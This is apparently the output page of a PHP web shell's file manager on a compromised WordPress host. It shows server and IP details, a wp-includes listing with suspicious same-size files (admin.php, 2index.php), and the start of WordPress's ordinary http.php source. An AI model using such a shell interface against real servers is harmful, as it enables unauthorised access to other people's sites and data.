Current Path: > > home > branxxtp > keyclubpropertymanagement.com > wp-includes__63e5284
Operation : Linux premium107.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 Software : Apache Server IP : 198.54.126.246 | Your IP: 216.73.216.181 Domains : 1034 Domain(s) Permission : [ 0755 ]
| Name | Type | Size | Last Modified | Actions |
|---|---|---|---|---|
| ID3 | Directory | - | - | |
| IXR | Directory | - | - | |
| PHPMailer | Directory | - | - | |
| Requests | Directory | - | - | |
| SimplePie | Directory | - | - | |
| Text | Directory | - | - | |
| assets | Directory | - | - | |
| block-bindings | Directory | - | - | |
| block-patterns | Directory | - | - | |
| block-supports | Directory | - | - | |
| blocks | Directory | - | - | |
| certificates | Directory | - | - | |
| css | Directory | - | - | |
| customize | Directory | - | - | |
| fonts | Directory | - | - | |
| html-api | Directory | - | - | |
| images | Directory | - | - | |
| interactivity-api | Directory | - | - | |
| js | Directory | - | - | |
| l10n | Directory | - | - | |
| php-compat | Directory | - | - | |
| pomo | Directory | - | - | |
| rest-api | Directory | - | - | |
| sitemaps | Directory | - | - | |
| sodium_compat | Directory | - | - | |
| style-engine | Directory | - | - | |
| theme-compat | Directory | - | - | |
| widgets | Directory | - | - | |
| .htaccess | File | 2042 bytes | February 07 2026 02:49:06. | |
| 2index.php | File | 5361 bytes | November 13 2025 04:05:35. | |
| admin-bar.php | File | 38200 bytes | May 01 2025 00:24:22. | |
| admin.php | File | 5361 bytes | February 06 2026 03:17:44. | |
| atomlib.php | File | 13172 bytes | September 19 2024 06:50:16. | |
| author-template.php | File | 20045 bytes | May 15 2023 03:28:24. | |
| block-bindings.php | File | 6688 bytes | June 12 2024 22:14:14. | |
| block-editor.php | File | 29891 bytes | April 16 2025 05:29:33. | |
| block-i18n.json | File | 316 bytes | August 11 2021 18:38:02. | |
| block-patterns.php | File | 14307 bytes | April 16 2025 05:29:33. | |
| block-template-utils.php | File | 63001 bytes | April 16 2025 05:29:33. | |
| block-template.php | File | 16450 bytes | April 16 2025 05:29:33. | |
| blocks.php | File | 114145 bytes | July 16 2025 00:22:38. | |
| bookmark-template.php | File | 13862 bytes | April 16 2025 05:29:31. | |
| bookmark.php | File | 16521 bytes | March 23 2024 23:50:12. | |
| cache-compat.php | File | 7063 bytes | October 11 2022 03:52:12. | |
| cache.php | File | 14568 bytes | October 11 2022 03:52:12. | |
| canonical.php | File | 35617 bytes | August 23 2024 09:17:16. | |
| capabilities.php | File | 43812 bytes | October 15 2024 23:43:20. | |
| category-template.php | File | 58097 bytes | September 26 2023 09:57:12. | |
| category.php | File | 13923 bytes | April 16 2025 05:29:33. | |
| class-IXR.php | File | 3711 bytes | April 16 2025 05:29:33. | |
| class-avif-info.php | File | 30709 bytes | April 27 2024 00:32:14. | |
| class-feed.php | File | 539 bytes | October 01 2024 08:20:20. | |
| class-http.php | File | 367 bytes | June 17 2022 20:50:14. | |
| class-json.php | File | 43684 bytes | February 04 2023 00:05:20. | |
| class-oembed.php | File | 401 bytes | June 17 2022 20:50:14. | |
| class-phpass.php | File | 7865 bytes | September 18 2024 06:38:16. | |
| class-phpmailer.php | File | 664 bytes | July 21 2020 22:28:02. | |
| class-pop3.php | File | 22215 bytes | April 16 2025 05:29:34. | |
| class-requests.php | File | 3331 bytes | April 05 2023 22:42:26. | |
| class-simplepie.php | File | 1547 bytes | October 01 2024 08:20:20. | |
| class-smtp.php | File | 457 bytes | January 27 2021 00:15:58. | |
| class-snoopy.php | File | 37715 bytes | February 04 2023 00:05:20. | |
| class-walker-category-dropdown.php | File | 3563 bytes | September 14 2023 22:16:20. | |
| class-walker-category.php | File | 9571 bytes | September 08 2023 19:02:24. | |
| class-walker-comment.php | File | 15315 bytes | March 19 2024 01:16:14. | |
| class-walker-nav-menu.php | File | 13138 bytes | April 16 2025 05:29:36. | |
| class-walker-page-dropdown.php | File | 3804 bytes | September 14 2023 22:16:20. | |
| class-walker-page.php | File | 8706 bytes | September 14 2023 22:16:20. | |
| class-wp-admin-bar.php | File | 18968 bytes | July 18 2024 10:22:18. | |
| class-wp-ajax-response.php | File | 6360 bytes | September 13 2022 01:17:14. | |
| class-wp-application-passwords.php | File | 18193 bytes | April 16 2025 05:29:34. | |
| class-wp-block-bindings-registry.php | File | 9557 bytes | September 23 2024 22:05:16. | |
| class-wp-block-bindings-source.php | File | 4086 bytes | September 04 2024 02:03:16. | |
| class-wp-block-editor-context.php | File | 2444 bytes | September 13 2022 01:17:14. | |
| class-wp-block-list.php | File | 5851 bytes | November 02 2023 09:34:24. | |
| class-wp-block-metadata-registry.php | File | 12989 bytes | April 16 2025 05:29:33. | |
| class-wp-block-parser-block.php | File | 3649 bytes | June 27 2023 10:15:38. | |
| class-wp-block-parser-frame.php | File | 3111 bytes | September 20 2024 11:25:36. | |
| class-wp-block-parser.php | File | 12626 bytes | May 03 2024 05:39:16. | |
| class-wp-block-pattern-categories-registry.php | File | 6465 bytes | September 13 2022 01:17:14. | |
| class-wp-block-patterns-registry.php | File | 11877 bytes | September 27 2024 18:50:18. | |
| class-wp-block-styles-registry.php | File | 7497 bytes | April 16 2025 05:29:34. | |
| class-wp-block-supports.php | File | 6720 bytes | April 16 2025 05:29:33. | |
| class-wp-block-template.php | File | 3127 bytes | September 20 2024 11:37:12. | |
| class-wp-block-templates-registry.php | File | 8325 bytes | February 12 2025 00:35:26. | |
| class-wp-block-type-registry.php | File | 6107 bytes | October 12 2023 22:04:34. | |
| class-wp-block-type.php | File | 18359 bytes | May 02 2024 09:31:10. | |
| class-wp-block.php | File | 24135 bytes | April 16 2025 05:29:36. | |
| class-wp-classic-to-block-menu-converter.php | File | 5182 bytes | August 22 2023 03:21:20. | |
| class-wp-comment-query.php | File | 49489 bytes | June 22 2024 02:56:14. | |
| class-wp-comment.php | File | 10531 bytes | April 16 2025 05:29:36. | |
| class-wp-customize-control.php | File | 26945 bytes | April 16 2025 05:29:33. | |
| class-wp-customize-manager.php | File | 203687 bytes | April 16 2025 05:29:34. | |
| class-wp-customize-nav-menus.php | File | 58754 bytes | October 01 2025 00:40:57. | |
| class-wp-customize-panel.php | File | 11804 bytes | April 16 2025 05:29:33. | |
| class-wp-customize-section.php | File | 12303 bytes | October 14 2024 04:39:12. | |
| class-wp-customize-setting.php | File | 31056 bytes | April 16 2025 05:29:34. | |
| class-wp-customize-widgets.php | File | 73304 bytes | April 16 2025 05:29:33. | |
| class-wp-date-query.php | File | 36826 bytes | April 16 2025 05:29:33. | |
| class-wp-dependencies.php | File | 16233 bytes | August 26 2024 09:18:14. | |
| class-wp-dependency.php | File | 3721 bytes | November 26 2022 01:42:16. | |
| class-wp-duotone.php | File | 41877 bytes | June 14 2024 21:48:12. | |
| class-wp-editor.php | File | 73429 bytes | May 01 2025 00:24:22. | |
| class-wp-embed.php | File | 17025 bytes | April 16 2025 05:29:34. | |
| class-wp-error.php | File | 8596 bytes | February 22 2023 03:09:20. | |
| class-wp-exception.php | File | 1347 bytes | September 28 2024 04:58:14. | |
| class-wp-fatal-error-handler.php | File | 9244 bytes | October 22 2024 19:46:16. | |
| class-wp-feed-cache-transient.php | File | 4270 bytes | October 01 2024 08:20:20. | |
| class-wp-feed-cache.php | File | 969 bytes | October 01 2024 08:20:20. | |
| class-wp-hook.php | File | 17094 bytes | September 18 2023 22:11:18. | |
| class-wp-http-cookie.php | File | 8483 bytes | June 25 2023 02:47:24. | |
| class-wp-http-curl.php | File | 13635 bytes | September 22 2023 03:59:12. | |
| class-wp-http-encoding.php | File | 7783 bytes | June 23 2023 00:27:24. | |
| class-wp-http-ixr-client.php | File | 4595 bytes | September 13 2022 01:17:14. | |
| class-wp-http-proxy.php | File | 7074 bytes | June 23 2023 00:06:26. | |
| class-wp-http-requests-hooks.php | File | 3116 bytes | December 16 2022 08:02:18. | |
| class-wp-http-requests-response.php | File | 5494 bytes | October 11 2023 16:35:26. | |
| class-wp-http-response.php | File | 4071 bytes | September 13 2022 01:17:14. | |
| class-wp-http-streams.php | File | 16859 bytes | September 22 2023 03:59:12. | |
| class-wp-http.php | File | 42673 bytes | April 16 2025 05:29:33. | |
| class-wp-image-editor-gd.php | File | 21256 bytes | April 16 2025 05:29:34. | |
| class-wp-image-editor-imagick.php | File | 35829 bytes | April 16 2025 05:29:34. | |
| class-wp-image-editor.php | File | 18621 bytes | April 16 2025 05:29:34. | |
| class-wp-list-util.php | File | 8537 bytes | February 28 2024 09:08:16. | |
| class-wp-locale-switcher.php | File | 7870 bytes | April 16 2025 05:29:33. | |
| class-wp-locale.php | File | 17977 bytes | April 16 2025 05:29:36. | |
| class-wp-matchesmapregex.php | File | 2922 bytes | February 06 2024 11:55:14. | |
| class-wp-meta-query.php | File | 31625 bytes | April 23 2024 05:55:08. | |
| class-wp-metadata-lazyloader.php | File | 7927 bytes | May 11 2023 20:45:24. | |
| class-wp-navigation-fallback.php | File | 10305 bytes | October 06 2023 23:36:22. | |
| class-wp-network-query.php | File | 20951 bytes | June 22 2024 02:56:14. | |
| class-wp-network.php | File | 13390 bytes | September 14 2024 07:42:16. | |
| class-wp-object-cache.php | File | 18618 bytes | September 19 2024 21:42:16. | |
| class-wp-oembed-controller.php | File | 7999 bytes | March 06 2024 15:35:12. | |
| class-wp-oembed.php | File | 32700 bytes | July 16 2025 00:22:38. | |
| class-wp-paused-extensions-storage.php | File | 6205 bytes | September 04 2024 03:49:14. | |
| class-wp-phpmailer.php | File | 4896 bytes | April 16 2025 05:29:33. | |
| class-wp-plugin-dependencies.php | File | 26409 bytes | April 16 2025 05:29:36. | |
| class-wp-post-type.php | File | 31774 bytes | April 16 2025 05:29:34. | |
| class-wp-post.php | File | 7582 bytes | April 16 2025 05:29:33. | |
| class-wp-query.php | File | 159117 bytes | April 16 2025 05:29:36. | |
| class-wp-recovery-mode-cookie-service.php | File | 7971 bytes | October 04 2022 13:29:14. | |
| class-wp-recovery-mode-email-service.php | File | 12277 bytes | May 03 2023 01:15:22. | |
| class-wp-recovery-mode-key-service.php | File | 5978 bytes | April 16 2025 05:29:32. | |
| class-wp-recovery-mode-link-service.php | File | 4557 bytes | September 13 2022 01:17:14. | |
| class-wp-recovery-mode.php | File | 12547 bytes | April 16 2025 05:29:33. | |
| class-wp-rewrite.php | File | 64782 bytes | October 20 2024 09:24:18. | |
| class-wp-role.php | File | 3617 bytes | September 08 2023 19:02:24. | |
| class-wp-roles.php | File | 9680 bytes | September 04 2024 03:49:14. | |
| class-wp-script-modules.php | File | 20557 bytes | April 16 2025 05:29:36. | |
| class-wp-scripts.php | File | 29438 bytes | August 11 2024 08:30:14. | |
| class-wp-session-tokens.php | File | 8413 bytes | April 16 2025 05:29:31. | |
| class-wp-simplepie-file.php | File | 4502 bytes | October 01 2024 08:20:20. | |
| class-wp-simplepie-sanitize-kses.php | File | 3004 bytes | April 16 2025 05:29:33. | |
| class-wp-site-query.php | File | 32719 bytes | September 11 2024 21:38:20. | |
| class-wp-site.php | File | 8548 bytes | September 13 2022 01:17:14. | |
| class-wp-speculation-rules.php | File | 8621 bytes | April 16 2025 05:29:33. | |
| class-wp-styles.php | File | 12104 bytes | August 11 2024 08:30:14. | |
| class-wp-tax-query.php | File | 20649 bytes | February 17 2024 08:17:12. | |
| class-wp-taxonomy.php | File | 19653 bytes | April 16 2025 05:29:34. | |
| class-wp-term-query.php | File | 41963 bytes | November 06 2024 00:54:16. | |
| class-wp-term.php | File | 6392 bytes | September 13 2022 01:17:14. | |
| class-wp-text-diff-renderer-inline.php | File | 2073 bytes | February 15 2024 05:57:10. | |
| class-wp-text-diff-renderer-table.php | File | 19974 bytes | April 16 2025 05:29:33. | |
| class-wp-textdomain-registry.php | File | 11575 bytes | November 21 2024 00:05:16. | |
| class-wp-theme-json-data.php | File | 2903 bytes | June 04 2024 21:25:14. | |
| class-wp-theme-json-resolver.php | File | 36832 bytes | April 16 2025 05:29:33. | |
| class-wp-theme-json-schema.php | File | 8461 bytes | June 06 2024 17:32:16. | |
| class-wp-theme-json.php | File | 164639 bytes | April 16 2025 05:29:34. | |
| class-wp-theme.php | File | 66904 bytes | April 16 2025 05:29:34. | |
| class-wp-token-map.php | File | 29712 bytes | July 20 2024 09:14:16. | |
| class-wp-url-pattern-prefixer.php | File | 5896 bytes | April 16 2025 05:29:34. | |
| class-wp-user-meta-session-tokens.php | File | 4084 bytes | January 09 2019 15:34:50. | |
| class-wp-user-query.php | File | 44749 bytes | April 16 2025 05:29:33. | |
| class-wp-user-request.php | File | 3399 bytes | April 16 2025 05:29:36. | |
| class-wp-user.php | File | 24088 bytes | April 16 2025 05:29:33. | |
| class-wp-walker.php | File | 14416 bytes | July 26 2024 17:26:14. | |
| class-wp-widget-factory.php | File | 4441 bytes | September 13 2022 01:17:14. | |
| class-wp-widget.php | File | 19523 bytes | April 16 2025 05:29:34. | |
| class-wp-xmlrpc-server.php | File | 216538 bytes | April 16 2025 05:29:33. | |
| class-wp.php | File | 30421 bytes | April 16 2025 05:29:32. | |
| class-wpdb.php | File | 118284 bytes | April 16 2025 05:29:31. | |
| class.wp-dependencies.php | File | 373 bytes | September 20 2022 23:47:12. | |
| class.wp-scripts.php | File | 343 bytes | September 20 2022 23:47:12. | |
| class.wp-styles.php | File | 338 bytes | September 20 2022 23:47:12. | |
| comment-template.php | File | 104198 bytes | July 16 2025 00:22:38. | |
| comment.php | File | 132641 bytes | April 16 2025 05:29:34. | |
| compat.php | File | 17470 bytes | April 16 2025 05:29:36. | |
| cron.php | File | 43752 bytes | April 16 2025 05:29:34. | |
| date.php | File | 400 bytes | June 17 2022 20:50:14. | |
| default-constants.php | File | 12459 bytes | October 01 2024 09:28:16. | |
| default-filters.php | File | 37791 bytes | April 16 2025 05:29:36. | |
| default-widgets.php | File | 3389 bytes | April 16 2025 05:29:31. | |
| deprecated.php | File | 192658 bytes | April 16 2025 05:29:33. | |
| embed-template.php | File | 338 bytes | June 17 2022 20:50:14. | |
| embed.php | File | 39266 bytes | April 16 2025 05:29:34. | |
| error-protection.php | File | 5215 bytes | May 03 2023 01:15:22. | |
| feed-atom-comments.php | File | 6583 bytes | March 04 2024 23:11:10. | |
| feed-atom.php | File | 4200 bytes | April 16 2025 05:29:33. | |
| feed-rdf.php | File | 3747 bytes | January 29 2020 11:15:18. | |
| feed-rss.php | File | 2268 bytes | January 29 2020 11:15:18. | |
| feed-rss2-comments.php | File | 5215 bytes | March 04 2024 23:11:10. | |
| feed-rss2.php | File | 4878 bytes | January 29 2020 11:15:18. | |
| feed.php | File | 24505 bytes | November 12 2024 04:25:14. | |
| fonts.php | File | 10845 bytes | October 28 2024 07:27:10. | |
| formatting.php | File | 344015 bytes | July 16 2025 00:22:38. | |
| functions.php | File | 291649 bytes | April 16 2025 05:29:33. | |
| functions.wp-scripts.php | File | 15652 bytes | May 27 2024 06:21:14. | |
| functions.wp-styles.php | File | 9677 bytes | May 27 2024 06:21:14. | |
| general-template.php | File | 173592 bytes | April 16 2025 05:29:32. | |
| global-styles-and-settings.php | File | 22355 bytes | April 16 2025 05:29:34. | |
| http.php | File | 26406 bytes | October 28 2024 07:49:16. | |
| https-detection.php | File | 6951 bytes | April 16 2025 05:29:34. | |
| https-migration.php | File | 5835 bytes | July 11 2023 08:08:26. | |
| index.htm | File | 1104 bytes | January 26 2026 05:14:06. | |
| index.html | File | 1104 bytes | January 26 2026 05:14:06. | |
| kses.php | File | 75566 bytes | April 16 2025 05:29:36. | |
| l10n.php | File | 69624 bytes | April 16 2025 05:29:36. | |
| link-template.php | File | 157801 bytes | April 16 2025 05:29:34. | |
| load.php | File | 56440 bytes | April 16 2025 05:29:34. | |
| locale.php | File | 162 bytes | October 09 2019 02:49:04. | |
| media-template.php | File | 64154 bytes | April 16 2025 05:29:34. | |
| media.php | File | 221590 bytes | July 16 2025 00:22:38. | |
| meta.php | File | 66337 bytes | April 16 2025 05:29:34. | |
| ms-blogs.php | File | 26939 bytes | April 16 2025 05:29:34. | |
| ms-default-constants.php | File | 6015 bytes | June 14 2024 06:20:14. | |
| ms-default-filters.php | File | 7730 bytes | February 24 2023 11:53:20. | |
| ms-deprecated.php | File | 22853 bytes | April 13 2024 03:17:14. | |
| ms-files.php | File | 3838 bytes | May 01 2025 00:24:22. | |
| ms-functions.php | File | 92676 bytes | April 16 2025 05:29:33. | |
| ms-load.php | File | 20977 bytes | March 26 2024 02:49:18. | |
| ms-network.php | File | 4876 bytes | May 02 2023 20:56:24. | |
| ms-settings.php | File | 5291 bytes | April 16 2025 05:29:33. | |
| ms-site.php | File | 42414 bytes | April 16 2025 05:29:34. | |
| nav-menu-template.php | File | 27084 bytes | April 16 2025 05:29:36. | |
| nav-menu.php | File | 45467 bytes | August 06 2024 04:30:20. | |
| option.php | File | 104159 bytes | April 16 2025 05:29:33. | |
| pluggable-deprecated.php | File | 7418 bytes | April 16 2025 05:29:33. | |
| pluggable.php | File | 123794 bytes | April 16 2025 05:29:36. | |
| plugin.php | File | 35465 bytes | June 08 2023 17:24:22. | |
| post-formats.php | File | 8196 bytes | May 28 2024 01:59:16. | |
| post-template.php | File | 69742 bytes | April 16 2025 05:29:33. | |
| post-thumbnail-template.php | File | 11973 bytes | April 16 2025 05:29:33. | |
| post.php | File | 292806 bytes | April 16 2025 05:29:33. | |
| query.php | File | 38129 bytes | August 24 2023 18:31:16. | |
| registration-functions.php | File | 200 bytes | November 12 2020 21:47:08. | |
| registration.php | File | 200 bytes | November 12 2020 21:47:08. | |
| rest-api.php | File | 101351 bytes | April 16 2025 05:29:34. | |
| revision.php | File | 31835 bytes | April 16 2025 05:29:36. | |
| rewrite.php | File | 20635 bytes | September 19 2024 04:38:12. | |
| robots-template.php | File | 6279 bytes | April 07 2022 01:03:04. | |
| rss-functions.php | File | 255 bytes | November 17 2020 09:22:06. | |
| rss.php | File | 23113 bytes | September 19 2024 07:10:12. | |
| script-loader.php | File | 134356 bytes | May 01 2025 00:24:22. | |
| script-modules.php | File | 8806 bytes | October 14 2024 04:19:16. | |
| session.php | File | 258 bytes | February 06 2020 17:03:12. | |
| shortcodes.php | File | 25145 bytes | May 25 2024 12:34:12. | |
| sitemaps.php | File | 4332 bytes | May 16 2021 03:08:06. | |
| speculative-loading.php | File | 9652 bytes | April 16 2025 05:29:34. | |
| spl-autoload-compat.php | File | 441 bytes | November 12 2020 21:47:08. | |
| style-engine.php | File | 8657 bytes | May 03 2024 14:17:12. | |
| taxonomy.php | File | 177321 bytes | April 16 2025 05:29:33. | |
| template-canvas.php | File | 1623 bytes | October 01 2023 09:52:28. | |
| template-loader.php | File | 7130 bytes | May 26 2020 19:07:10. | |
| template.php | File | 25248 bytes | February 22 2024 05:56:08. | |
| theme-i18n.json | File | 1526 bytes | April 16 2025 05:29:34. | |
| theme-previews.php | File | 3926 bytes | December 08 2023 17:02:24. | |
| theme-templates.php | File | 7332 bytes | April 16 2025 05:29:33. | |
| theme.json | File | 8704 bytes | June 12 2024 15:41:14. | |
| theme.php | File | 135397 bytes | April 16 2025 05:29:33. | |
| update.php | File | 38597 bytes | April 16 2025 05:29:36. | |
| user.php | File | 176917 bytes | April 16 2025 05:29:36. | |
| vars.php | File | 7656 bytes | April 16 2025 05:29:34. | |
| version.php | File | 2184 bytes | October 01 2025 00:40:57. | |
| widgets.php | File | 71813 bytes | April 16 2025 05:29:34. | |
| wp-db.php | File | 445 bytes | July 22 2022 08:15:12. | |
| wp-diff.php | File | 1893 bytes | April 16 2025 05:29:33. |
<?php
/**
* Core HTTP Request API
*
* Standardizes the HTTP requests for WordPress. Handles cookies, gzip encoding and decoding, chunk
* decoding, if HTTP 1.1 and various other difficult HTTP protocol implementations.
*
* @package WordPress
* @subpackage HTTP
*/
/**
* Returns the initialized WP_Http Object
*
* @since 2.7.0
* @access private
*
* @return WP_Http HTTP Transport object.
*/
function _wp_http_get_object() {
static $http = null;
if ( is_null( $http ) ) {
$http = new WP_Http();
}
return $http;
}
/**
* Retrieves the raw response from a safe HTTP request.
*
* This function is ideal when the HTTP request is being made to an arbitrary
* URL. The URL, and every URL it redirects to, are validated with wp_http_validate_url()
* to avoid Server Side Request Forgery attacks (SSRF).
*
* @since 3.6.0
*
* @see wp_remote_request() For more information on the response array format.
* @see WP_Http::request() For default arguments information.
* @see wp_http_validate_url() For more information about how the URL is validated.
*
* @link https://owasp.org/www-community/attacks/Server_Side_Request_Forgery
*
* @param string $url URL to retrieve.
* @param array $args Optional. Request arguments. Default empty array.
* See WP_Http::request() for information on accepted arguments.
* @return array|WP_Error The response or WP_Error on failure.
* See WP_Http::request() for information on return value.
*/
function wp_safe_remote_request( $url, $args = array() ) {
$args['reject_unsafe_urls'] = true;
$http = _wp_http_get_object();
return $http->request( $url, $args );
}
/**
* Retrieves the raw response from a safe HTTP request using the GET method.
*
* This function is ideal when the HTTP request is being made to an arbitrary
* URL. The URL, and every URL it redirects to, are validated with wp_http_validate_url()
* to avoid Server Side Request Forgery attacks (SSRF).
*
* @since 3.6.0
*
* @see wp_remote_request() For more information on the response array format.
* @see WP_Http::request() For default arguments information.
* @see wp_http_validate_url() For more information about how the URL is validated.
*
* @link https://owasp.org/www-community/attacks/Server_Side_Request_Forgery
*
* @param string $url URL to retrieve.
* @param array $args Optional. Request arguments. Default empty array.
* See WP_Http::request() for information on accepted arguments.
* @return array|WP_Error The response or WP_Error on failure.
* See WP_Http::request() for information on return value.
*/
function wp_safe_remote_get( $url, $args = array() ) {
$args['reject_unsafe_urls'] = true;
$http = _wp_http_get_object();
return $http->get( $url, $args );
}
/**
* Retrieves the raw response from a safe HTTP request using the POST method.
*
* This function is ideal when the HTTP request is being made to an arbitrary
* URL. The URL, and every URL it redirects to, are validated with wp_http_validate_url()
* to avoid Server Side Request Forgery attacks (SSRF).
*
* @since 3.6.0
*
* @see wp_remote_request() For more information on the response array format.
* @see WP_Http::request() For default arguments information.
* @see wp_http_validate_url() For more information about how the URL is validated.
*
* @link https://owasp.org/www-community/attacks/Server_Side_Request_Forgery
*
* @param string $url URL to retrieve.
* @param array $args Optional. Request arguments. Default empty array.
* See WP_Http::request() for information on accepted arguments.
* @return array|WP_Error The response or WP_Error on failure.
* See WP_Http::request() for information on return value.
*/
function wp_safe_remote_post( $url, $args = array() ) {
$args['reject_unsafe_urls'] = true;
$http = _wp_http_get_object();
return $http->post( $url, $args );
}
/**
* Retrieves the raw response from a safe HTTP request using the HEAD method.
*
* This function is ideal when the HTTP request is being made to an arbitrary
* URL. The URL, and every URL it redirects to, are validated with wp_http_validate_url()
* to avoid Server Side Request Forgery attacks (SSRF).
*
* @since 3.6.0
*
* @see wp_remote_request() For more information on the response array format.
* @see WP_Http::request() For default arguments information.
* @see wp_http_validate_url() For more information about how the URL is validated.
*
* @link https://owasp.org/www-community/attacks/Server_Side_Request_Forgery
*
* @param string $url URL to retrieve.
* @param array $args Optional. Request arguments. Default empty array.
* See WP_Http::request() for information on accepted arguments.
* @return array|WP_Error The response or WP_Error on failure.
* See WP_Http::request() for information on return value.
*/
function wp_safe_remote_head( $url, $args = array() ) {
$args['reject_unsafe_urls'] = true;
$http = _wp_http_get_object();
return $http->head( $url, $args );
}
/**
* Performs an HTTP request and returns its response.
*
* There are other API functions available which abstract away the HTTP method:
*
* - Default 'GET' for wp_remote_get()
* - Default 'POST' for wp_remote_post()
* - Default 'HEAD' for wp_remote_head()
*
* @since 2.7.0
*
* @see WP_Http::request() For information on default arguments.
*
* @param string $url URL to retrieve.
* @param array $args Optional. Request arguments. Default empty array.
* See WP_Http::request() for information on accepted arguments.
* @return array|WP_Error The response array or a WP_Error on failure.
* See WP_Http::request() for information on return value.
*/
function wp_remote_request( $url, $args = array() ) {
$http = _wp_http_get_object();
return $http->request( $url, $args );
}
/**
* Performs an HTTP request using the GET method and returns its response.
*
* @since 2.7.0
*
* @see wp_remote_request() For more information on the response array format.
* @see WP_Http::request() For default arguments information.
*
* @param string $url URL to retrieve.
* @param array $args Optional. Request arguments. Default empty array.
* See WP_Http::request() for information on accepted arguments.
* @return array|WP_Error The response or WP_Error on failure.
* See WP_Http::request() for information on return value.
*/
function wp_remote_get( $url, $args = array() ) {
$http = _wp_http_get_object();
return $http->get( $url, $args );
}
/**
* Performs an HTTP request using the POST method and returns its response.
*
* @since 2.7.0
*
* @see wp_remote_request() For more information on the response array format.
* @see WP_Http::request() For default arguments information.
*
* @param string $url URL to retrieve.
* @param array $args Optional. Request arguments. Default empty array.
* See WP_Http::request() for information on accepted arguments.
* @return array|WP_Error The response or WP_Error on failure.
* See WP_Http::request() for information on return value.
*/
function wp_remote_post( $url, $args = array() ) {
$http = _wp_http_get_object();
return $http->post( $url, $args );
}
/**
* Performs an HTTP request using the HEAD method and returns its response.
*
* @since 2.7.0
*
* @see wp_remote_request() For more information on the response array format.
* @see WP_Http::request() For default arguments information.
*
* @param string $url URL to retrieve.
* @param array $args Optional. Request arguments. Default empty array.
* See WP_Http::request() for information on accepted arguments.
* @return array|WP_Error The response or WP_Error on failure.
* See WP_Http::request() for information on return value.
*/
function wp_remote_head( $url, $args = array() ) {
$http = _wp_http_get_object();
return $http->head( $url, $args );
}
/**
* Retrieves only the headers from the raw response.
*
* @since 2.7.0
* @since 4.6.0 Return value changed from an array to an WpOrg\Requests\Utility\CaseInsensitiveDictionary instance.
*
* @see \WpOrg\Requests\Utility\CaseInsensitiveDictionary
*
* @param array|WP_Error $response HTTP response.
* @return \WpOrg\Requests\Utility\CaseInsensitiveDictionary|array The headers of the response, or empty array
* if incorrect parameter given.
*/
function wp_remote_retrieve_headers( $response ) {
if ( is_wp_error( $response ) || ! isset( $response['headers'] ) ) {
return array();
}
return $response['headers'];
}
/**
* Retrieves a single header by name from the raw response.
*
* @since 2.7.0
*
* @param array|WP_Error $response HTTP response.
* @param string $header Header name to retrieve value from.
* @return array|string The header(s) value(s). Array if multiple headers with the same name are retrieved.
* Empty string if incorrect parameter given, or if the header doesn't exist.
*/
function wp_remote_retrieve_header( $response, $header ) {
if ( is_wp_error( $response ) || ! isset( $response['headers'] ) ) {
return '';
}
if ( isset( $response['headers'][ $header ] ) ) {
return $response['headers'][ $header ];
}
return '';
}
/**
* Retrieves only the response code from the raw response.
*
* Will return an empty string if incorrect parameter value is given.
*
* @since 2.7.0
*
* @param array|WP_Error $response HTTP response.
* @return int|string The response code as an integer. Empty string if incorrect parameter given.
*/
function wp_remote_retrieve_response_code( $response ) {
if ( is_wp_error( $response ) || ! isset( $response['response'] ) || ! is_array( $response['response'] ) ) {
return '';
}
return $response['response']['code'];
}
/**
* Retrieves only the response message from the raw response.
*
* Will return an empty string if incorrect parameter value is given.
*
* @since 2.7.0
*
* @param array|WP_Error $response HTTP response.
* @return string The response message. Empty string if incorrect parameter given.
*/
function wp_remote_retrieve_response_message( $response ) {
if ( is_wp_error( $response ) || ! isset( $response['response'] ) || ! is_array( $response['response'] ) ) {
return '';
}
return $response['response']['message'];
}
/**
* Retrieves only the body from the raw response.
*
* @since 2.7.0
*
* @param array|WP_Error $response HTTP response.
* @return string The body of the response. Empty string if no body or incorrect parameter given.
*/
function wp_remote_retrieve_body( $response ) {
if ( is_wp_error( $response ) || ! isset( $response['body'] ) ) {
return '';
}
return $response['body'];
}
/**
* Retrieves only the cookies from the raw response.
*
* @since 4.4.0
*
* @param array|WP_Error $response HTTP response.
* @return WP_Http_Cookie[] An array of `WP_Http_Cookie` objects from the response.
* Empty array if there are none, or the response is a WP_Error.
*/
function wp_remote_retrieve_cookies( $response ) {
if ( is_wp_error( $response ) || empty( $response['cookies'] ) ) {
return array();
}
return $response['cookies'];
}
/**
* Retrieves a single cookie by name from the raw response.
*
* @since 4.4.0
*
* @param array|WP_Error $response HTTP response.
* @param string $name The name of the cookie to retrieve.
* @return WP_Http_Cookie|string The `WP_Http_Cookie` object, or empty string
* if the cookie is not present in the response.
*/
function wp_remote_retrieve_cookie( $response, $name ) {
$cookies = wp_remote_retrieve_cookies( $response );
if ( empty( $cookies ) ) {
return '';
}
foreach ( $cookies as $cookie ) {
if ( $cookie->name === $name ) {
return $cookie;
}
}
return '';
}
/**
* Retrieves a single cookie's value by name from the raw response.
*
* @since 4.4.0
*
* @param array|WP_Error $response HTTP response.
* @param string $name The name of the cookie to retrieve.
* @return string The value of the cookie, or empty string
* if the cookie is not present in the response.
*/
function wp_remote_retrieve_cookie_value( $response, $name ) {
$cookie = wp_remote_retrieve_cookie( $response, $name );
if ( ! ( $cookie instanceof WP_Http_Cookie ) ) {
return '';
}
return $cookie->value;
}
/**
* Determines if there is an HTTP Transport that can process this request.
*
* @since 3.2.0
*
* @param array $capabilities Array of capabilities to test or a wp_remote_request() $args array.
* @param string $url Optional. If given, will check if the URL requires SSL and adds
* that requirement to the capabilities array.
*
* @return bool
*/
function wp_http_supports( $capabilities = array(), $url = null ) {
$capabilities = wp_parse_args( $capabilities );
$count = count( $capabilities );
// If we have a numeric $capabilities array, spoof a wp_remote_request() associative $args array.
if ( $count && count( array_filter( array_keys( $capabilities ), 'is_numeric' ) ) === $count ) {
$capabilities = array_combine( array_values( $capabilities ), array_fill( 0, $count, true ) );
}
if ( $url && ! isset( $capabilities['ssl'] ) ) {
$scheme = parse_url( $url, PHP_URL_SCHEME );
if ( 'https' === $scheme || 'ssl' === $scheme ) {
$capabilities['ssl'] = true;
}
}
return WpOrg\Requests\Requests::has_capabilities( $capabilities );
}
/**
* Gets the HTTP Origin of the current request.
*
* @since 3.4.0
*
* @return string URL of the origin. Empty string if no origin.
*/
function get_http_origin() {
$origin = '';
if ( ! empty( $_SERVER['HTTP_ORIGIN'] ) ) {
$origin = $_SERVER['HTTP_ORIGIN'];
}
/**
* Changes the origin of an HTTP request.
*
* @since 3.4.0
*
* @param string $origin The original origin for the request.
*/
